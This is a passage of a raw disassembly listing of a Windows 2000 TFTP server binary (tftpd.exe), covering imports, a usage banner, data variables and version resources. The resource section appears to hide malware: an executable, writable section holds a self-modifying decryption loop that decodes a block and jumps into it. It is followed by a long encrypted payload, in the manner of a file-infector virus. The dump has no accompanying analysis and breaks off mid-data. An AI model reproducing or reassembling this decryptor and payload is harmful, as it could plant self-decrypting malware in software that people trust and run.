_XcptFilter ; _XcptFilter add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov edx, [ebp-30h] push edx call ds:_exit ; _exit ; --------------------------------------------------------------------------- loc_1003B80: ; CODE XREF: .text:01003B5Cj add esp, 4 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p push 30000h ; Mask push 10000h ; NewValue call _controlfp ; _controlfp add esp, 8 retn sub_1003BB0 endp ; --------------------------------------------------------------------------- align 10h loc_1003BD0: ; DATA XREF: .text:01003AD3o xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 10h loc_1003BF0: ; DATA XREF: .text:01003A5Ao jmp ds:_except_handler3 ; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND] dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh) dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh) dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch dd 5 dup(0) dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0 dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0 dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0 dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch dd 80000002h, 80000037h, 80000017h, 80000014h, 0 dd 417Ch, 4190h, 0 dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0 dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h aWsagetoverlapp db 'WSAGetOverlappedResult',0 align 4 a2 db '2',0 aWsarecvfrom db 'WSARecvFrom',0 dw 0Fh aWsacloseevent db 'WSACloseEvent',0 db '=',0 aWsasocketa db 'WSASocketA',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 align 4 aM db 'Œ',0 aExitprocess db 'ExitProcess',0 dw 12Dh aGetlasterror db 'GetLastError',0 align 2 dw 2FDh aWaitforsingleo db 'WaitForSingleObject',0 a4 db '4',0 aCreateeventa db 'CreateEventA',0 align 10h db 0C5h ; Å db 1, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 654801B6h, 72437061h, 65746165h, 1DE0000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 dw 1BAh aHeapfree db 'HeapFree',0 align 2 dw 1Eh aClosehandle db 'CloseHandle',0 aO db 'o',0 aEntercriticals db 'EnterCriticalSection',0 align 4 retf ; --------------------------------------------------------------------------- db 1, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 0FBh ; û db 2, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1B4h aHeapalloc db 'HeapAlloc',0 dw 252h aResetevent db 'ResetEvent',0 align 10h retn ; --------------------------------------------------------------------------- db 2, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0D8h ; Ø db 2, 54h, 72h aYentercritical db 'yEnterCriticalSection',0 dw 2C5h aSuspendthread db 'SuspendThread',0 dw 254h aResumethread db 'ResumeThread',0 db 0, 90h, 2 aSetevent db 'SetEvent',0 align 2 dw 29Ch aSetlasterror db 'SetLastError',0 align 2 aZ db 'Z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 12Fh aGetlocaltime db 'GetLocalTime',0 align 2 aP db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h db 0E5h ; å db 1, 53h, 74h aArtservicectrl db 'artServiceCtrlDispatcherA',0 dw 1DFh aSetservicestat db 'SetServiceStatus',0 align 2 dw 1B9h aRegisterservic db 'RegisterServiceCtrlHandlerA',0 db 84h ; „ db 1, 52h, 65h aGclosekey db 'gCloseKey',0 dw 1A7h aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 19Dh aRegopenkeyexa db 'RegOpenKeyExA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h db 50h ; P db 2, 52h, 74h aLregisterwait db 'lRegisterWait',0 dw 184h aRtlcreatetimer db 'RtlCreateTimer',0 align 4 db 85h ; … db 1, 52h, 74h aLcreatetimerqu db 'lCreateTimerQueue',0 dw 42Eh a_chkstk db '_chkstk',0 db 0A1h ; ¡ db 1, 52h, 74h aLderegisterwai db 'lDeregisterWaitEx',0 dw 433h a_itoa db '_itoa',0 dw 450h aAtoi db 'atoi',0 align 2 dw 43Dh a_stricmp db '_stricmp',0 align 2 dw 46Dh aMemmove db 'memmove',0 dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0) _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 000012DC ( 4828.) ; Section size in file : 00000E00 ( 3584.) ; Offset to raw data for section: 00003A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 1005000h dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[] Format db ' ================================================================' ; DATA XREF: sub_1001570+4Do db '======== ',0Ah db 'Abstract: ' db ' ',0Ah db ' This implements an RFC 783 tftp daemon. ' db ' ',0Ah db ' It listens on port 69 for requests ' db ' ',0Ah db ' and spawns a thread to process each request. ' db ' ',0Ah db ' ' db ' ',0Ah db 'TFTPD USAGE and Installation: ' db ' ',0Ah db ' ' db ' ',0Ah db ' md d:/tftpd (the StartDirec' db 'tory). ',0Ah db ' copy //MohsinA_p90/test/tftpd.exe . ' db ' ',0Ah db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path' db '). ',0Ah db ' sc query tftpd (check if insta' db 'lled). ',0Ah db ' ' db ' ',0Ah db 'Start: ' db ' ',0Ah db ' sc start tftpd -f (creates a log ' db 'file). ',0Ah db 'or sc start tftpd ' db ' ',0Ah db 'or net start tftpd ' db ' ',0Ah db 'or sc start tftpd [-dStartDirectory] [-e] [-f] ' db ' ',0Ah db ' Options: -e use event log. ' db ' ',0Ah db ' -f log to file. ' db ' ',0Ah db ' -dStartDirectory ' db ' ',0Ah db 'Info: ' db ' ',0Ah db ' sc interrogate tftpd (logs will be updated). ' db ' ',0Ah db ' sc query tftpd Check whether running. ' db ' ',0Ah db 'Stop: ' db ' ',0Ah db ' sc stop tftpd ' db ' ',0Ah db ' net stop tftpd ' db ' ',0Ah db ' ' db ' ',0Ah db 'Variables that control what files can be read/written and by whom' db ': ',0Ah db ' StartDirectory - only files there will be accessible. ' db ' ',0Ah db ' LogFile is created here. ' db ' ',0Ah db ' ValidClients - Clients matching this ip address can read files' db '. ',0Ah db ' eg. you can set it to "157.55.8?.*" ' db ' ',0Ah db ' ValidMasters - clients matching this can write and read file' db 's. ',0Ah db ' eg. you can set it to "" and no one can write' db '. ',0Ah db ' ValidReadFiles - only matching files will be served out, eg. "' db 'r*.t?t"',0Ah db ' ValidWriteFiles- only matching files will be accepted, eg. "w' db '*.txt" ',0Ah db ' ' db ' ',0Ah db 'Client: ' db ' ',0Ah db ' tftp [-i] servername {get|put} src_file dest_file ' db ' ',0Ah db ' -i from binary mode, else ascii mode is used. ' db ' ',0Ah db ' ' db ' ',0Ah db ' ================================================================' db '======== ',0Ah,0 align 8 ; char ServiceName[] ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo ; .data:ServiceStartTableo align 10h ; SERVICE_TABLE_ENTRYA ServiceStartTable ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665> ; DATA XREF: sub_1001570:loc_1001646o ; "Tftpd" align 10h off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r ; "Error undefined" dd offset aFileNotFound ; "File not found" dd offset aAccessViolatio ; "Access violation" dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded" dd offset aIllegalTftpOpe ; "Illegal TFTP operation" dd offset aUnknownTransfe ; "Unknown transfer ID" dd offset aFileAlreadyExi ; "File already exists" dd offset aNoSuchUser ; "No such user" dd offset aOptionNegotiat ; "Option negotiation failure" align 8 ; BYTE Data Data db 2Ah ; DATA XREF: sub_1002F31+143o ; sub_10037BF+87o align 4 dd 0Dh dup(0) ; BYTE byte_1005D20 byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o ; sub_100333A+163o ... align 4 dd 0Dh dup(0) ; BYTE byte_1005D58 byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o ; sub_10037BF+EAo align 4 dd 0Dh dup(0) ; BYTE byte_1005D90 byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o ; sub_10037BF+11Ao align 4 dd 0Ch dup(0) dword_1005DC4 dd 1 align 10h ; FILE *File File dd 0 ; DATA XREF: sub_1001665+1E5w ; sub_1001E73:loc_1001F36r ... dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ... ; HANDLE hHandle hHandle dd 0 ; DATA XREF: sub_1001665+84w ; sub_1001665+8Br ... ; HANDLE hObject hObject dd 0 ; DATA XREF: sub_1001665+91w ; sub_1001E73:loc_1001F0Cr ... align 8 ; volatile LONG Addend Addend dd 0 ; DATA XREF: sub_1001A91+26Eo ; sub_1001A91+2B3o ; HANDLE hHeap hHeap dd 0 ; DATA XREF: sub_10019F0+29w ; sub_1001A1F+52r ... dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ... dword_1005DF4 dd 0 ; sub_1001A91+59w ... dword_1005DF8 dd 0 ; sub_10018DB+EFr dword_1005DFC dd 0 ; HANDLE Handle Handle dd ? ; DATA XREF: sub_10018DB+F4o ; sub_1002219+D5o db 3 dup(?) dword_1005E07 dd ? ; sub_1003910+6Br ... align 4 dd 7Ch dup(?) dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006020 stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o ; .text:01001D78o ... ; void *Memory Memory dd ? ; DATA XREF: sub_10018DB+2Ao ; sub_10018DB+34w ... dword_100603C dd ? ; HANDLE hThread hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr ; HandlerProc:loc_1001E35r ; SERVICE_STATUS_HANDLE hServiceStatus hServiceStatus dd ? ; DATA XREF: sub_1001665+52w ; sub_1001665+DBr ... dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060 stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o ; sub_1001A1F+2o ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: sub_10019F0o ; sub_10019F0+Fw ... dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do ; sub_100287F+1o ... dword_1006098 dd ? ; sub_10018DB+25w ... dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ... dd 7 dup(?) ; time_t Time Time dq ? ; DATA XREF: sub_1001665+10Ao ; sub_1001665:loc_1001857o ... dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?) ; struct _OVERLAPPED overlapped overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o ; sub_1002219:loc_10022E9o align 10h ; struct _SERVICE_STATUS ServiceStatus ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w ; sub_1001665+63o ... align 10h ; struct WSAData stru_1006140 stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h _data ends ; Section 3. (virtual address 00007000) ; Virtual size : 00011800 ( 71680.) ; Section size in file : 0000C200 ( 49664.) ; Offset to raw data for section: 00004800 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 1007000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 3 dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 10000h, 1, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0) dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aR: unicode 0, <r%> dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 aTcpIpTrivialFi: unicode 0, <TCP/IP Trivial file transfer daemon.>,0 align 4 a8 db '8',0 dw 0Ch dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_00_2134_1: unicode 0, <5.00.2134.1>,0 a4_0: unicode 0, <4> dw 0Ah dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h dd 750064h, 740063h, 61004Eh, 65006Dh, 0 aMicrosoftRWind: unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0 align 4 db '<',0 dw 0Ch dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h dd 6F0066h, 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 50Bh dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_1008817 call sub_100889C mov ebp, 0 ; DATA XREF: sub_1008817+6w jmp loc_1008858 ; =============== S U B R O U T I N E ======================================= sub_1008817 proc near ; CODE XREF: .rsrc:01008803p push dword ptr fs:0 xor dword ptr ds:loc_100880D+1, ebp mov fs:0, esp xor edx, edx push edx push 80000000h push 2000h push edx push 2 push 1 push edx push 80000000h push 80000000h push 80000000h push edx call ds:GetLastError loc_1008858: ; CODE XREF: .rsrc:01008812j mov edi, [ebp-8] mov fs:0, edi sub edi, edi sub ecx, ecx mov cl, 0A5h loc_1008867: ; CODE XREF: sub_1008817+51j inc edi loop loc_1008867 call $+5 pop ebx sub ebx, 0FFFFFFC6h push ebx xor edx, edx xor edx, 289Ch loc_100887F: ; CODE XREF: sub_1008817+7Cj mov al, [ebx] cld sub ax, di mov [ebx], al inc ebx add di, 0A7h sub edx, 1 cmp edx, 0 ja short loc_100887F pop ebx leave jmp ebx sub_1008817 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100889C proc near ; CODE XREF: .rsrc:01008808p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_100889C endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 0F3h dd 1AE0419Ah, 0B480013Ah, 0C74F486Ah, 0ED3C0C6Eh, 0FF58B132h dd 26744DA6h, 0AB940D9Eh, 83B5DE0Bh, 6FC8504Dh, 0E2E44C6Dh dd 270059E1h, 43C48306h, 0ECAD79EAh, 0A363C589h, 72FBC922h dd 9E3F64C0h, 0DF408C62h, 0EA449D1Eh, 123594C5h, 47E85616h dd 0BF66CFCEh, 60A18E66h, 8250DF12h, 20F0691Ah, 65C07DEFh dd 0CB2436D6h, 0BB31972h, 35C03F6h, 87C0DCAAh, 3B94ED8Dh dd 0EEA44A0Dh, 73CD25BBh, 0E4ED4E1Ah, 220493C6h, 37F0835Ch dd 0E33CC7D6h, 76171C8Ah, 51AC5CABh, 0B71069C2h, 0E0CA79DEh dd 258034AFh, 0AF60C896h, 0B2257D36h, 0F95B4D83h, 3B759C6Ah dd 8654E345h, 0CD2F1D3Fh, 424F423Eh, 5970440Bh, 927ED668h dd 1790B912h, 853C2BB0h, 0B261B443h, 2ACB5DBEh, 0FB9664FBh dd 9747CE8Eh, 0BF2B62EAh, 908C9DAFh, 3A0BE489h, 742A1169h dd 48521AAh, 834C18FAh, 0F9B39C5Dh, 0DB2E9036h, 4C81B4D5h dd 0DC124091h, 0C79C3BD2h, 6B65FE5Bh, 0D08320C7h, 0ED61A162h dd 4A650254h, 4EB8F10Fh, 8259C5C4h, 3FC36CC1h, 0F372A4E8h dd 873F10E9h, 57F39429h, 2B3C4D5Ah, 0BA57F5DDh, 51D58D3Bh dd 5F55EDB6h, 0A482FC01h, 0ED132B8Fh, 93A1DDC6h, 0A1237182h dd 30D04E23h, 0B53DDFBFh, 3694660Ah, 0C4C93701h, 0FB021844h dd 0B7C8E602h, 7A95CA6h, 8333B29Eh, 1AAE3FE3h, 60BC96Ch dd 3DF90E4Ch, 730771Dh, 0DBEC0051h, 1BA7F94Fh, 7213B489h dd 29B53072h, 50DCE309h, 81DB8FAh, 0C3546579h, 15254F7Fh dd 0AF81DEEEh, 965C4EB9h, 0C0F2557Ch, 0EF362600h, 0A034525Dh dd 6E538970h, 18ACAAD9h, 62F001E8h, 71C1F573h, 0FCEB798Ah dd 131A4A92h, 4F857402h, 8B9CA3B3h, 7ADDAF31h, 4141B28h dd 0DAFE966Bh, 0D0099DC4h, 377E6E7Eh, 50815E39h, 0AFF60C1Ch dd 0F9946D2Fh, 0E638495Dh, 0BE6E9AE5h, 87F1C1A8h, 0FF08C7Dh dd 0A228394Ah, 93FE094Dh, 8F7874C5h, 0D4546D6Eh, 1D43EBBFh dd 72888DF6h, 7F6AA1B2h, 168EF2BDh, 378D1900h, 0B56259E5h dd 0FC1791A2h, 14C4DF3h, 80D7941Ah, 0A3B4D0A3h, 4F706E13h dd 90A93D64h, 0D71E0BBDh, 0B5531A99h, 0DA805D05h, 0DE14578Ah dd 3C55C23Ah, 838AC0C3h, 1BCB0C05h, 991C74A7h, 9F1FF5B1h dd 738595A9h, 4A02E6F1h, 0AF7F0D34h, 0B6784EBAh, 6376241Ah dd 1F0AD852h, 0DB84FEE8h, 7F28B9CEh, 53657586h, 2AE2C6D1h dd 8B61ED14h, 891A2DB9h, 436E6576h, 0FF108962h, 0BB66DDF2h dd 2E8401EBh, 0DB9456C0h, 0EF011123h, 867E622Dh, 71D08970h dd 42344656h, 0F51B4387h, 9BB165CEh, 841798Ah, 0BD243548h dd 0D9434A02h, 0CBB798h, 478EA4D0h, 86D75611h, 0D5FB433Fh dd 0FF8B9DAEh, 37485B3Eh, 0F3041BFEh, 0F3941FE2h, 0A7CD95Ah dd 3D6347CFh, 31699216h, 0B2B0F7C9h, 25D90AC7h, 0A8286F15h dd 697C8804h, 12A0B1C4h, 21472B0Bh, 8B17293Ah, 0C3D4E7F6h dd 9ACE262Dh, 4B7B5D84h, 5D8DA82Bh, 3EC4CBFDh, 85AB7727h dd 2CEC0C5Eh, 0FF2B8E99h, 282FC5ECh, 5FA6BC44h, 0AA2D6D9Dh dd 0ED10338Fh, 0C92140C6h, 3260A74Dh, 0CCDEC28h, 0DF1F6E79h dd 100FA5CCh, 3F869C20h, 0C3B2691h, 6B4D68EBh, 9B848BAEh dd 2F4052AAh, 0C7D08A9Bh, 0F633C9B0h, 9C2A85F0h, 0A234B1E1h dd 1B86006Fh, 81FF32CDh, 0E06C1F86h, 25350C97h, 0CBE566FEh dd 8B15A9BAh, 6203A3B3h, 8CAB87C1h, 0BBCC2AF2h, 22EE99AAh dd 9E481CE3h, 647DF5F4h, 0ABB2C8DEh, 69F16FF6h, 65B7B0BCh dd 6A65E314h, 0C3ACE702h, 5768689Eh, 133E81C1h, 0CFBAB57Dh dd 8B9CAD96h, 0F8985372h, 0B312CF68h, 0DA1A7681h, 0FE549DC4h dd 8BA019AEh, 7E041585h, 3AC03B96h, 953CB7DAh, 0D93A335Ah dd 0F70C0570h, 9B0C1F1h, 0FA06CE8Eh, 79BDB8FAh, 92E4EB11h dd 9E0F36EBh, 4B5D7402h, 7CDB63Ah, 1CD4DBE6h, 7F90AC3Fh dd 0A07F0CE9h, 0E70886ABh, 3841D5FCh, 6FB6A56Bh, 5F0CEDADh dd 465229B4h, 7E4E5AA5h, 1FF58168h, 0C32072FDh, 0D7E8FABAh dd 93A4C69Eh, 9345C482h, 32D14F23h, 9D31DBAAh, 2AB9510Fh dd 27276197h, 0FB0C22DFh, 0D6108EF9h, 0E83395BCh, 2F768C80h dd 0BD91CCD5h, 91B8FFA5h, 82762F96h, 355BA3C7h, 0DCC4760Eh dd 0C23FB9CAh, 3760FE67h, 848F8876h, 0CBD2E8A4h, 2C1B1F8Dh dd 434A61B8h, 0DEE77532h, 91B74763h, 4B481EAAh, 51C71BCCh dd 0CE5E8326h, 0D5B4B1B2h, 0C692739Ah, 0F91FA7CBh, 33308612h dd 24C450FAh, 6A68798Fh, 0EDC7C6FFh, 0EBA276CBh, 5D51ADD4h dd 6B7C65FBh, 9646D899h, 80510906h, 7B8CAB16h, 0ED982D1Ah dd 0A654E557h, 0CA8A6671h, 2B018DB4h, 86373D03h, 72ECE96Ah dd 0B5DC0357h, 0F8B1258Eh, 767BB859h, 0A9CFE77Bh, 101E9CC2h dd 4B5D55C2h, 7C07003Ah, 0C3CAE008h, 9AC23641h, 63655D84h dd 0F7F79835h, 5DC47F10h, 0D980FBA2h, 2B3D755Eh, 2B73091Eh dd 4D04C530h, 3EB40C8Eh, 5AD493B0h, 0EAE8F9DEh, 0B26EDD7Fh dd 0C4DD7011h, 0B1242F6h, 7729BAACh, 5E8A3A85h, 3D36148h dd 4489E04Eh, 6F10B1EAh, 7363C9A6h, 2F3EB462h, 0EBFC0E1Eh dd 0A7B8C9DAh, 63748596h, 1F48D052h, 0DBECFD0Eh, 4AFE8ACAh dd 2E520A55h, 48BB3118h, 0E01C719Ah, 0CA760BC5h, 3C89FAF3h dd 0DEE22108h, 91B77363h, 2F0D22AAh, 5B444B75h, 0EF001118h dd 0D65BFC9Ah, 39C8792Fh, 0CF4DFBAFh, 15D56837h, 0C061E9AFh dd 0B6B8794Bh, 0E90F33BBh, 0B657A02h, 4E9CA3CDh, 1AB92B26h dd 0B035F39Bh, 218F4517h, 8F2FC288h, 0B9E35FDh, 8727BA59h dd 3B33DE2h, 9921B970h, 0CAA0C5Ah, 0A919B977h, 0E0952DEBh dd 801EC08Eh, 0DD8D2DEBh, 0A009A15Fh, 0F89021E3h, 4B1D945Ch dd 0E87D1BFDh, 55248A4Ah, 0D27504D1h, 7E4C9E41h, 0CB69FEBCh dd 60E9A74Bh, 0A36505C1h, 4CE17F36h, 0B93B09BEh, 48E8663Bh dd 0C462E9C6h, 5E2C612Fh, 0AB49DE9Ch, 42C3892Bh, 0BB45D99Eh dd 3E0E200Eh, 9A48CA98h, 83C8540Eh, 9329D9B7h, 20BE45E2h dd 7DC8BD8Bh, 27A941FFh, 6325BE7Bh, 0FEA560FDh, 5B15AE6Eh dd 639932EFh, 8415B398h, 0ED8E26CAh, 9711AB6Bh, 19981ACDh dd 50059D5Bh, 0F48E21D2h, 6C0C9E5Ch, 0A5426C9h, 68D69557h dd 0E49F02CAh, 3E887E34h, 0DC8A09CBh, 58D4763Eh, 0F2BCF2BBh dd 56B57D3Fh, 0C850FABAh, 43CE624Ah, 9B6DE2AAh, 0BDC5E51h dd 0D954E2ABh, 1DC55D1Bh, 0CC41DA9Fh, 1BBD307Ah, 9331CA6Ah dd 27C44222h, 0A0539D6Fh, 9AD2FFEh, 0A123BE79h, 3A518E2h dd 7E2EB254h, 0EC9638F3h, 0AAF4C65Eh, 0E8635F7h, 8009B26Ah dd 68E2703h, 6705A258h, 0D07E20DBh, 6CFBB97Eh, 0E971F5DEh dd 5C068648h, 0E04DA1F3h, 60E5B33Eh, 0BD6EE8C1h, 0B3E9813Fh dd 0DD6501E1h, 50D87624h, 0B768EAD7h, 64DB732Fh, 0C460D092h dd 4ADE8D2Ch, 0AA5BDEADh, 42D685C6h, 0A253D6A5h, 34E21F51h dd 0C74CDC8Ch, 26B357E6h, 5243D497h, 13B16B40h, 9C1BD97Eh dd 1F9D5BFAh, 83349287h, 9E36F0h, 682BAE6Eh, 0F7995896h dd 840CAA98h, 8926C2h, 7C048CCAh, 66425EBh, 7414A44Bh dd 0F87541DBh, 4DF77D5Fh, 0F77911CFh, 0FFF58E4Bh, 0DC690BA3h dd 5CE16F3Ah, 0F96A24BDh, 0EFE57D3Bh, 0BF6EF694h, 28D46A2Fh dd 0C653F1B2h, 48E25812h, 0C472E2A2h, 25685E26h, 0BD48F69Ah dd 0FFD46417h, 0B452D690h, 2CBF4E16h, 0AE33F989h, 0DD04F17h dd 0A03EE082h, 0FDAD4D0Bh, 0F329C17Fh, 1834520h, 9030AE83h dd 0A973B0Ah, 0E327B87Bh dd 0F1733510h, 80209E73h, 0FA872BFAh, 9817A86Bh, 0E35EB1CAh dd 6C019F41h, 0EC6B0ECEh, 72ED9959h, 0D34EA1D0h, 5CF18F31h dd 0CA5DFEBEh, 4514874Bh, 0C265F4C1h, 3FFA4D31h, 9D68EAD7h dd 72EB6A2Fh, 0C255D4B8h, 49CB6622h, 0A65CC70Ah, 59C25A16h dd 4F45DD9Bh, 1BDB61FCh, 9928D79Fh, 16B94815h, 0AA2FB585h dd 490C4B13h, 9C38A87Eh, 16A96804h, 9D1FBA76h, 1BB05B1Eh dd 8C2CB86Ch, 0CCA39F9h, 8025B564h, 8914AEAh, 9711AB69h dd 0E8B529C4h, 5809A367h, 0DD7B13DCh, 700C8A57h, 0F2A813D5h dd 0FFEE864Dh, 0CDA311ACh, 2DED8D43h, 0C87807BFh, 54BD7D43h dd 0C46EFCBBh, 53EC5B9Ah, 0C64DF38Bh, 